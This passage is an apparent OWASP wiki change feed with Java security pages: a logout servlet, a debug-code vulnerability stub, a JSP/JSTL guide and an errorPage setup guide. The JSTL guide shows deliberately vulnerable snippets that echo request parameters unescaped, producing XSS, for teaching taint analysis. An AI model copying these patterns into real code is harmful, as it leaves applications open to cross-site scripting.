import javax.servlet.http.HttpServletResponse;&lt;br /&gt;
import javax.servlet.http.HttpSession;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * Code sample showing how to perform a complete logout&lt;br /&gt;
 */&lt;br /&gt;
@SuppressWarnings(&amp;quot;serial&amp;quot;)&lt;br /&gt;
@WebServlet(&amp;quot;/Logout&amp;quot;)&lt;br /&gt;
public class LogoutCodeSample extends HttpServlet {&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * {@inheritDoc}&lt;br /&gt;
	 * &lt;br /&gt;
	 * @see javax.servlet.http.HttpServlet#doPost(javax.servlet.http.HttpServletRequest,&lt;br /&gt;
	 *      javax.servlet.http.HttpServletResponse)&lt;br /&gt;
	 */&lt;br /&gt;
	@Override&lt;br /&gt;
	protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {&lt;br /&gt;
		doGet(request, response);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * {@inheritDoc}&lt;br /&gt;
	 * &lt;br /&gt;
	 * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse&lt;br /&gt;
	 *      response)&lt;br /&gt;
	 */&lt;br /&gt;
	@Override&lt;br /&gt;
	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {&lt;br /&gt;
		/*&lt;br /&gt;
		 * First step : Invalidate user session&lt;br /&gt;
		 */&lt;br /&gt;
		HttpSession session = request.getSession(false);&lt;br /&gt;
		if (session != null) {&lt;br /&gt;
			session.invalidate();&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		/*&lt;br /&gt;
		 * Second step : Invalidate all cookies by, for each cookie received,&lt;br /&gt;
		 * overwriting value and instructing browser to deletes it&lt;br /&gt;
		 */&lt;br /&gt;
		Cookie[] cookies = request.getCookies();&lt;br /&gt;
		if (cookies != null &amp;amp;&amp;amp; cookies.length &amp;gt; 0) {&lt;br /&gt;
			for (Cookie cookie : cookies) {&lt;br /&gt;
				cookie.setValue(&amp;quot;-&amp;quot;);&lt;br /&gt;
				cookie.setMaxAge(0);&lt;br /&gt;
				response.addCookie(cookie);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Leftover_Debug_Code&amp;diff=235251</id>
		<title>Leftover Debug Code</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Leftover_Debug_Code&amp;diff=235251"/>
				<updated>2017-11-10T11:47:53Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Debug code can create unintended entry points in a deployed web application.&lt;br /&gt;
&lt;br /&gt;
A common development practice is to add &amp;quot;back door&amp;quot; code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the application. When this sort of debug code is accidentally left in the application, the application is open to unintended modes of interaction. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The most common example of forgotten debug code is a main() method appearing in a web application. Although this is an acceptable practice during product development, classes that are part of a production J2EE application should not define a main().&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Attack 1]]&lt;br /&gt;
* [[Attack 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[Control 1]]&lt;br /&gt;
* [[Control 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [[Use encapsulation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|add links&lt;br /&gt;
&lt;br /&gt;
In addition, one should classify vulnerability based on the following subcategories: Ex:&amp;lt;nowiki&amp;gt;[[Category:Error Handling Vulnerability]]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Availability Vulnerability&lt;br /&gt;
&lt;br /&gt;
Authorization Vulnerability&lt;br /&gt;
&lt;br /&gt;
Authentication Vulnerability&lt;br /&gt;
&lt;br /&gt;
Concurrency Vulnerability&lt;br /&gt;
&lt;br /&gt;
Configuration Vulnerability&lt;br /&gt;
&lt;br /&gt;
Cryptographic Vulnerability&lt;br /&gt;
&lt;br /&gt;
Encoding Vulnerability&lt;br /&gt;
&lt;br /&gt;
Error Handling Vulnerability&lt;br /&gt;
&lt;br /&gt;
Input Validation Vulnerability&lt;br /&gt;
&lt;br /&gt;
Logging and Auditing Vulnerability&lt;br /&gt;
&lt;br /&gt;
Session Management Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Code Quality Vulnerability]]&lt;br /&gt;
[[Category:Implementation]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=JSP_JSTL&amp;diff=235250</id>
		<title>JSP JSTL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=JSP_JSTL&amp;diff=235250"/>
				<updated>2017-11-10T11:47:48Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=old&lt;br /&gt;
| lastRevision=3/11/08&lt;br /&gt;
| comment=This page needs to be updated.&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
Finished 3/11/08 - in need of review.&lt;br /&gt;
&lt;br /&gt;
== Brief Overview of JSP Architecture ==&lt;br /&gt;
&lt;br /&gt;
JSPs are delivered to a container that provides services like life-cycle management and runtime support.  &lt;br /&gt;
A JSP gets translated to a servlet class which is instantiated at runtime.&lt;br /&gt;
A request headed for a particular JSP will be directed by the container to its corresponding servlet class (aka jsp implementation object).&lt;br /&gt;
It then handles requests and generates responses.&lt;br /&gt;
The default request response objects are HttpServletRequest and HttpServletResponse. &lt;br /&gt;
JSP makes use of implicit objects that can be considered taint sources, sinks and propagators.&lt;br /&gt;
I won't discuss further details since that is outside the scope of this project.  For further information try this &lt;br /&gt;
[http://download.oracle.com/docs/cd/A97336_01/buslog.102/a83726/genlovw1.htm reference guide].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== JSP In Light of Security ==&lt;br /&gt;
&lt;br /&gt;
There’s not much to say here except that JSPs can act as both a model and view.  It can operate fairly well without a distinct service or business layer because it doesn’t quite enforce separation of logic and concerns (hence the advent of development frameworks).   &lt;br /&gt;
&lt;br /&gt;
I won’t discuss details of web app design here, but one should understand that lack of separation can have negative effects on web-app stability and security.  But even so, lack of input validation can lead to easy security vulns in JSP, namely XSS.&lt;br /&gt;
&lt;br /&gt;
Commonly, JavaBeans are used in conjunction with JSP to store parameters and implement business logic.  Most of my examples will use beans to demonstrate taint propagation and proper cleansing.&lt;br /&gt;
&lt;br /&gt;
For more data on design with JSP and servlets, see this [http://java.sun.com/developer/technicalArticles/javaserverpages/servlets_jsp/ best practices] article&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== JSP Standard Actions ==&lt;br /&gt;
&lt;br /&gt;
=== Propagators ===&lt;br /&gt;
'''&amp;lt;jsp:usebean&amp;gt;'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Makes a Java Bean available to the rest of the page by instantiating the object and binding it to a variable.&lt;br /&gt;
* Once you have that you can modify and access it using the jsp setProperty and getProperty tags.&lt;br /&gt;
* You can also call methods on it in scriptlets.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;jsp:useBean id=&amp;quot;user&amp;quot; class=&amp;quot;SessionBeans.UserSessionBean&amp;quot; scope=&amp;quot;session&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;%=user.getStrParam%&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;jsp:setProperty&amp;gt;'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Sets one or more bean property values in a bean defined by &amp;lt;jsp:usebean&amp;gt;.&lt;br /&gt;
''Different ways to set bean properties with request parameters and supplied values''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;%--set all bean properties with matching request parameters--%&amp;gt;&lt;br /&gt;
&amp;lt;jsp:setProperty name=&amp;quot;user&amp;quot; property=&amp;quot;*&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;%--set one property with matching request parameter--%&amp;gt;&lt;br /&gt;
&amp;lt;jsp:setProperty name=&amp;quot;user&amp;quot; property=&amp;quot;strParam&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;%--set one property with supplied value--%&amp;gt;&lt;br /&gt;
&amp;lt;jsp:setProperty name=&amp;quot;user&amp;quot; property=&amp;quot;strParam&amp;quot; value=&amp;quot;blah&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sinks ===&lt;br /&gt;
'''&amp;lt;jsp:getProperty&amp;gt;'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Gets a value from a bean object and writes to the page.&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;jsp:include&amp;gt;'''&amp;lt;br&amp;gt;&lt;br /&gt;
Displays contents of another page within current.  Only a problem if included page contains xss.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Example:  Using standard actions to produce xss. ===&lt;br /&gt;
''Set the bean properties with request parameters on one page.''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;jsp:useBean id=&amp;quot;user&amp;quot; class=&amp;quot;SessionBeans.UserSessionBean&amp;quot; scope=&amp;quot;session&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;jsp:setProperty name=&amp;quot;user&amp;quot; property=&amp;quot;*&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
''Later on another page...''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;jsp:useBean id=&amp;quot;user&amp;quot; class=&amp;quot;SessionBeans.UserSessionBean&amp;quot; scope=&amp;quot;session&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;jsp:getProperty name=&amp;quot;user&amp;quot; property=&amp;quot;strParam&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JSP Implicit Objects ==&lt;br /&gt;
There are a handful of objects made available in JSPs which are susceptible to security flaws.  Their corresponding java class functions are used as is in scriptlets.  All the same security rules should apply.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Implicit Object&lt;br /&gt;
! Java Class&lt;br /&gt;
! Relevant Functions&lt;br /&gt;
|-&lt;br /&gt;
| request&lt;br /&gt;
| javax.servlet.ServletRequest&lt;br /&gt;
| getParameter(String parametername)&lt;br /&gt;
getParameterValues()&lt;br /&gt;
&lt;br /&gt;
getParameterMap()&lt;br /&gt;
|-&lt;br /&gt;
| session&lt;br /&gt;
| javax.servlet.http.HttpSession&lt;br /&gt;
| setAttribute(String name, Object value)&lt;br /&gt;
getAttribute(String name)&lt;br /&gt;
removeAttribute(String name)&lt;br /&gt;
|-&lt;br /&gt;
| out&lt;br /&gt;
| javax.servlet.jsp.JspWriter&lt;br /&gt;
| print(char[] s)&lt;br /&gt;
print(java.lang.String s)&lt;br /&gt;
&lt;br /&gt;
println(java.lang.String x)&lt;br /&gt;
&lt;br /&gt;
println(char[] x)&lt;br /&gt;
|}&lt;br /&gt;
Examples:&amp;lt;br&amp;gt;&lt;br /&gt;
saveinfo.jsp&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;% &lt;br /&gt;
    String name = request.getParameter(&amp;quot;username&amp;quot;);&lt;br /&gt;
    session.setAttribute(&amp;quot;taintedAttribute&amp;quot;, name);&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
displayinfo.jsp &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
my xss varible: &amp;lt;%=session.getAttribute(name)%&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Unified EL ==&lt;br /&gt;
Unified EL is a feature of JSP 2.1 it is a union of JSP 2.0 and JSF expression languages.  Expressions enclosed in ${…} are immediately evaluated and printed to the page.  Expressions consist of EL implicit objects and bean names defined with jsp:usebean. &amp;lt;br&amp;gt; &lt;br /&gt;
All EL implicit objects are propagators that can be sunk for XSS as an expression.&lt;br /&gt;
* param&lt;br /&gt;
* paramValues&lt;br /&gt;
* header&lt;br /&gt;
* headerValues&lt;br /&gt;
* cookie?&lt;br /&gt;
&lt;br /&gt;
The examples for each implicit object demonstrates xss.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''param''' &lt;br /&gt;
* References a request parameter by name.&lt;br /&gt;
* Equivalent to request.getParameter(“asdf”);&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Welcome ${param.userName}!&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''paramValues'''&lt;br /&gt;
* A String[] of parameter values.&lt;br /&gt;
* Equivalent to request.getParameterValues().&lt;br /&gt;
''Using JSTL tags for this example.''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:forEach var='parameter' items='${paramValues}'&amp;gt;  &lt;br /&gt;
	&amp;lt;c:out value='${parameter.key}'/&amp;gt; = &lt;br /&gt;
	&amp;lt;c:forEach var='value' items='${parameter.value}'&amp;gt;&lt;br /&gt;
		&amp;lt;c:out value='${value}' escapeXml=&amp;quot;false&amp;quot;/&amp;gt;&amp;lt;br&amp;gt; &lt;br /&gt;
	&amp;lt;/c:forEach&amp;gt;         &lt;br /&gt;
&amp;lt;/c:forEach&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''header'''&lt;br /&gt;
* Maps a request header name to a single value.&lt;br /&gt;
* Equivalent to request.getHeader.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
${header.cookie}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''headerValues'''&lt;br /&gt;
* A String[] array of header values.&lt;br /&gt;
* The following example is the same as above.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:forEach var=&amp;quot;head&amp;quot; items=&amp;quot;${headerValues}&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;c:out value=&amp;quot;${head.key}&amp;quot; /&amp;gt; =&lt;br /&gt;
	         &amp;lt;c:forEach var=&amp;quot;val&amp;quot; items=&amp;quot;${head.value}&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;c:out escapeXml=&amp;quot;false&amp;quot; value=&amp;quot;${val}&amp;quot; /&amp;gt;&amp;lt;br&amp;gt;				&lt;br /&gt;
		&amp;lt;/c:forEach&amp;gt;&lt;br /&gt;
	&amp;lt;/c:forEach&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''cookie'''&lt;br /&gt;
&lt;br /&gt;
Not sure if there's anything juicy here...&lt;br /&gt;
&lt;br /&gt;
'''pageScope'''&lt;br /&gt;
* Maps page-scoped variable names to their values.&lt;br /&gt;
The following example uses the JSTL &amp;lt;c:set&amp;gt; tag so you know where the tainted variable comes from, I’ll cover c:set details in JSTL core section.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:set var=&amp;quot;PageScopeVar&amp;quot; value=&amp;quot;${param.fwd_last}&amp;quot; scope=&amp;quot;page&amp;quot;/&amp;gt;&lt;br /&gt;
${pageScope.PageScopeVar}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''requestScope'''&lt;br /&gt;
* Maps request-scoped variable names to their values.&lt;br /&gt;
* Looks exactly the same as pageScope.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:set var=&amp;quot;ReqScopeVar&amp;quot; value=&amp;quot;${param.fwd_last}&amp;quot; scope=&amp;quot;request&amp;quot;/&amp;gt;&lt;br /&gt;
${requestScope.ReqScopeVar}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''sessionScope'''&lt;br /&gt;
* Maps session-scoped variable names to their values.&lt;br /&gt;
* You can create a session variable with c:set as above OR you can use session.setAttribute.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;%session.setAttribute(&amp;quot;sa_first&amp;quot;, request.getParameter(&amp;quot;first&amp;quot;)); %&amp;gt;&lt;br /&gt;
${sessionScope.sa_first }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''applicationScope'''&lt;br /&gt;
* Maps application-scoped variable names to their values.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:set var=&amp;quot;scopeVar&amp;quot; value=&amp;quot;${param.addr}&amp;quot; scope=&amp;quot;application&amp;quot;/&amp;gt;&lt;br /&gt;
${applicationScope.scopeVar }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME| the page linked below is marked for deletion:&lt;br /&gt;
See also http://www.owasp.org/index.php/J2EE_Bad_Practices:_JSP_Expressions J2EE Bad Practices: JSP Expressions]]&lt;br /&gt;
&lt;br /&gt;
== JSTL Tags ==&lt;br /&gt;
* There are 5 tag libraries in JSTL: core, sql, fmt, xml.&lt;br /&gt;
* This section will cover core and sql tags.&lt;br /&gt;
&lt;br /&gt;
=== Sinks ===&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;c:out&amp;gt;'''&amp;lt;br&amp;gt;&lt;br /&gt;
*Like &amp;lt;%= ... &amp;gt;, but for expressions.  &lt;br /&gt;
*Has a boolean attribute escapeXml that converts &amp;lt;,&amp;gt;,&amp;amp;,',&amp;quot; to their corresponding entities.  Defaults to true so it's really not an issue unless explicitly set to be false.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:out escapeXml=&amp;quot;false&amp;quot; value=&amp;quot;${param.first}&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''&amp;lt;c:redirect&amp;gt;'''&amp;lt;br&amp;gt;&lt;br /&gt;
Possibly susceptible to splitting?&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:redirect url=&amp;quot;/include.jsp?lang=${param.first}&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Propagators ===&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;c:url&amp;gt;'''&amp;lt;br&amp;gt;&lt;br /&gt;
*Used to construct a string url.&lt;br /&gt;
A contrived example.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:url var=&amp;quot;url2&amp;quot; value=&amp;quot;/account.jsp?lang=${param.username}&amp;quot;/&amp;gt;&lt;br /&gt;
 	&amp;lt;a href='${url2}'&amp;gt;yes this is dumb&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;c:import&amp;gt;'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Imports the contents of a page, only a vuln if included page has a vuln. (only tested with xss)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:import url=&amp;quot;/include.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''&amp;lt;c:param&amp;gt;'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:url var=&amp;quot;url1&amp;quot; value=&amp;quot;/include.jsp?lang=&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;c:param name=&amp;quot;someParameter&amp;quot; value=&amp;quot;${param.last}&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/c:url&amp;gt;&lt;br /&gt;
&amp;lt;a href='&amp;lt;c:out value=&amp;quot;${url1}&amp;quot;/&amp;gt;'&amp;gt;Link back to some page (&amp;lt;c:out value=&amp;quot;${url}&amp;quot;/&amp;gt;)&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''&amp;lt;c:set &amp;gt;'''&amp;lt;br&amp;gt;&lt;br /&gt;
*Sets a variable to a value.&lt;br /&gt;
*Can have page, application, request, or session scope.&lt;br /&gt;
*Can be retrieved through use of scope objects or just by referencing the “var” in an expression.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;c:set var=&amp;quot;appScopeVar&amp;quot; value=&amp;quot;${param.addr}&amp;quot; scope=&amp;quot;application&amp;quot;/&amp;gt;&lt;br /&gt;
${appScopeVar}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
== Cleansers ==&lt;br /&gt;
&lt;br /&gt;
== JSTL Functions ==&lt;br /&gt;
&lt;br /&gt;
=== Cleansers ===&lt;br /&gt;
&lt;br /&gt;
'''fn:escapeXml''' &amp;lt;br&amp;gt;&lt;br /&gt;
* &amp;amp; &amp;lt; &amp;gt; “ ‘  &amp;amp;amp &amp;amp;lt &amp;amp;gt &amp;amp;#034 &amp;amp;#039&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	${fn:escapeXml(taint) }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''fn:replace''' &amp;lt;br&amp;gt;&lt;br /&gt;
*Potential cleanser if used correctly &lt;br /&gt;
*${fn:replace(taint, &amp;quot;&amp;lt;&amp;quot;, &amp;quot;&amp;amp;lt&amp;quot;)} replaces all “&amp;lt;” with “&amp;amp;lt”&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
${fn:replace(taint,&amp;quot;&amp;lt;&amp;quot;,&amp;quot;HAH&amp;quot;) }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=JSP_errorPage&amp;diff=235249</id>
		<title>JSP errorPage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=JSP_errorPage&amp;diff=235249"/>
				<updated>2017-11-10T11:47:43Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
&lt;br /&gt;
Released on (mm/dd/yyyy) : 02/07/2012&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
JEE Java Server Page (JSP) provides mechanism to specify, in a JSP, the error page to redirect if a Java exception&lt;br /&gt;
occur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Configuration==&lt;br /&gt;
The configuration have 2 steps:&lt;br /&gt;
* The definition of the page in charge of managing error.&lt;br /&gt;
* The specification of the redirection into the page where the Java exception can occur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Step 1 : Definition of the page in charge of managing error===&lt;br /&gt;
This page is a normal JSP but we specify the page attribute &amp;quot;isErrorPage&amp;quot; to &amp;quot;true&amp;quot; value (&amp;quot;false&amp;quot; is the default value).&lt;br /&gt;
This flag indicate to server that the page is in charge of managing exception, thus, the server made available the source&lt;br /&gt;
exception through the &amp;quot;exception&amp;quot; implicit object.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot; ?&amp;gt;&lt;br /&gt;
&amp;lt;%@ page language=&amp;quot;java&amp;quot; &lt;br /&gt;
	contentType=&amp;quot;text/html; charset=ISO-8859-1&amp;quot;&lt;br /&gt;
	pageEncoding=&amp;quot;ISO-8859-1&amp;quot; &lt;br /&gt;
&lt;br /&gt;
	isErrorPage=&amp;quot;true&amp;quot;&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
	&amp;lt;%-- Log error on server side --%&amp;gt;&lt;br /&gt;
	&amp;lt;%&lt;br /&gt;
		//When the page attribute &amp;quot;isErrorPage&amp;quot; is set to &amp;quot;true&amp;quot; the exception object is available&lt;br /&gt;
		System.err.println(&amp;quot;Error : &amp;quot; + exception.getMessage());&lt;br /&gt;
	%&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	&amp;lt;%-- Display generic error to client --%&amp;gt;&lt;br /&gt;
	&amp;lt;b&amp;gt;An error occur !&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 2 : Specification of the redirection into the page where the Java exception can occur===&lt;br /&gt;
Into the risky JSP, we specify the page attribute &amp;quot;errorPage&amp;quot; to the page in charge of managing error.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot; ?&amp;gt;&lt;br /&gt;
&amp;lt;%@ page language=&amp;quot;java&amp;quot; &lt;br /&gt;
	contentType=&amp;quot;text/html; charset=ISO-8859-1&amp;quot;&lt;br /&gt;
	pageEncoding=&amp;quot;ISO-8859-1&amp;quot; &lt;br /&gt;
&lt;br /&gt;
	errorPage=&amp;quot;errorManagement.jsp&amp;quot;&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
	&amp;lt;%&lt;br /&gt;
		//Sample code to generate an exception...&lt;br /&gt;
		if(request.getParameter(&amp;quot;e&amp;quot;) != null) {&lt;br /&gt;
			throw new ServletException(&amp;quot;Explicit error !!!&amp;quot;);&lt;br /&gt;
		}&lt;br /&gt;
	%&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Best practice==&lt;br /&gt;
